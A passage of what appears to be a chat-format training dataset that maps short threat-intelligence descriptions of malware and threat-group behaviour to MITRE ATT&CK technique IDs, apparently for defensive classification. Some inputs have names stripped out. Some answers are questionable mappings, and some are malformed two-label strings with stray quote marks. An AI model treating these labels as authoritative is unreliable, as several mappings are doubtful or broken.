                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has distributed cryptomining malware."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can add Registry run keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Neoichor can collect the user name from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used RAR to compress, encrypt, and password-protect files prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has leveraged multiple types of spearphishing in order to attempt to get a user to open links and attachments."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Microsoft discovered these new attacker tools and capabilities in some compromised customer networks and observed them to be in use from August to September 2020. Further analysis has revealed these may have been on compromised systems as early as June 2020"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a rootkit used by ."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to enumerate security software currently running on a system by process name of known products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has used \"cmd.exe\" to create a Registry entry to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepySnail can use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has moved and renamed pubprn.vbs to a .txt file to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has encrypted the payload with an XOR-based algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This agent also built in a function aptly named “DeleteLeftovers,” to remove certain artifacts of the attack"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA)."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by creating a shortcut."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore has the capability to edit the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has used PowerShell commands to download additional files."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script is used to decode and execute the following payloads:Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.PoohMilk AnalysisThe PoohMilk sample is designed to perform two actions:Create persistence to execute the Freenki sample at the next reboot.Check specific files on the infected machine.The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by adding a new service with the display name \"WMI Performance Adapter Extension\" in an attempt to masquerade as a legitimate WMI service."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used .iso files to deploy malicious .lnk files."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use multiple domains and protocols in C2."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On execution, the MSI downloader starts by checking if it is running in a virtual machine. If not, downloads a zip file, unzips it, deletes itself, establishes persistency and restarts the system"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used encryption and base64 to obfuscate its orchestrator code in the Registry. ComRAT has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module to list the processes running on a machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "wmic.exe is a powerful, native Windows command line utility used to interact with Windows Management Instrumentation (WMI)"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to discover information about the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exploited Microsoft Word vulnerability CVE-2017-0199 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seaduke delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading “tasks” to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can encrypt C2 traffic using XOR with a hard coded key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages vulnerable versions of Flash to perform execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Janicab captured screenshots and sent them out to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used , a RAT that uses HTTP to communicate."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to a compromised host following initial access."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial beacon packet for Mis-Type contains the operating system version and file system of the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used Google Chrome bookmarks to identify internal resources and assets."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation', 'T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used tools capable of stealing contents of the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly takes screenshots of the user's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can take screenshots of the victim’s active display."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is initially packed."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/ folder. This persistence file is also set to hidden with a randomly generated file date and time"
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon', 'T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use \"net localgroup\" to enable discovery of local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty collects screenshots of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with Duqu can collect information on network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin is executed by using the Info command in the Lizar client application. A data structure containing the OS version, user name and computer name is sent to the server"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To compress the data, GetFrame() invokes the Common.Compress() method, which is used to compress the data by leveraging the C# GZipStream compression class"
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used SSH to move laterally through victim environments."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can identify the IP address of the victim system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executes VBScript using Process.Start. Next, the DLL loads an embedded resource named \"78c855a088924e92a7f60d661c3d1845\" into memory and decrypts it using multiple XOR operations. Loads the resource using Assembly.GetManifestResourceStream. Method that performs the XOR decryption. The decrypted resource is a DLL file embedded with two resources named \"AdvancedRun\" and \"Waqybg\" that are compressed with GZip. Two resources embedded in the decrypted resource. The third-stage DLL proceeds by loading the \"AdvancedRun\" resource into memory, decompressing it and dropping it as \"AdvancedRun.exe\" into the %TEMP% directory. Calling GZipStream class to decompress the resource. Drops AdvancedRun.exe using File.WriteAllBytes. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "According to Group-IB's Threat Intelligence &amp; Attribution system, the alleged database was published on a fraudulent resource known for reselling data that has been published on various data-leak websites. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence &amp; Attribution system detected infected devices that were part of Air India's computer network. Starting from at least February 23, 2021, a device inside the company's network communicated with a server with the IP address 185[.]118[.]166[.]66. The threat actor collected information inside the local network, including names of network resources and their addresses. Below are examples of commands that were used for lateral movement: . The name of the campaign, ColunmTK, is derived from these initially discovered domains. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence &amp; Attribution system, the threat actor has been active since at least 2007. This IP address was used as an A record for two domains: server04[.]dns04[.]com and service04[.]dns04[.]com. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa’s shellcode attempted to find the process ID of the current process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can use  `SetWindowsHookEx` and `GetKeyNameText` to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has used malicious links to lure users into executing malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When exfiltrating the keychain, the keychain field is used instead of data"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The malicious macro scans the victim’s Outlook inbox and looks for the strings “$$cpte” and “$$ecpte”. 2) Then the macro will open a CMD shell that will execute whatever instruction / command is in between the strings. 4) The macro searches for the special strings in the “Deleted Items” folder to find the attacker’s email address and sends the data back to the attackers via email. 5) Lastly, the macro will delete any evidence of the emails received or sent by the attackers"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can use a second channel for C2 when the primary channel is in upload mode."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has commands to get the time the machine was built, the time, and the time zone."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used batch scripts to enumerate network information, including information about trusts, zones, and the domain."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This can be seen in the following images taken from hxxp:// feeds.rapidfeeds[.]com/88604/, which is one of the dead drop resolvers we encountered in this sample:  Figure 7 Dead drop resolver used by BADNEWS   In order to decrypt this data, the authors have included additional steps from previous versions"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy uses \"netstat -aon\" to gather network connection information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba has the ability to encrypt system data and add the \".cuba\" extension to encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and upload files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1 XAgent macOS HTTP POST request  Figure 2 XAgent mscOS HTTP GET request The C2 URLs generated by XAgentOSX are very similar to those created by its Windows-based counterpart"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy uses HTTP and HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net share` command as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to create  to upload and/or download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker's custom cryptor, CryptOne, used an XOR based algorithm to decrypt the payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to decrypt strings using hard-coded AES keys."
            },
            {
                "role": "assistant",
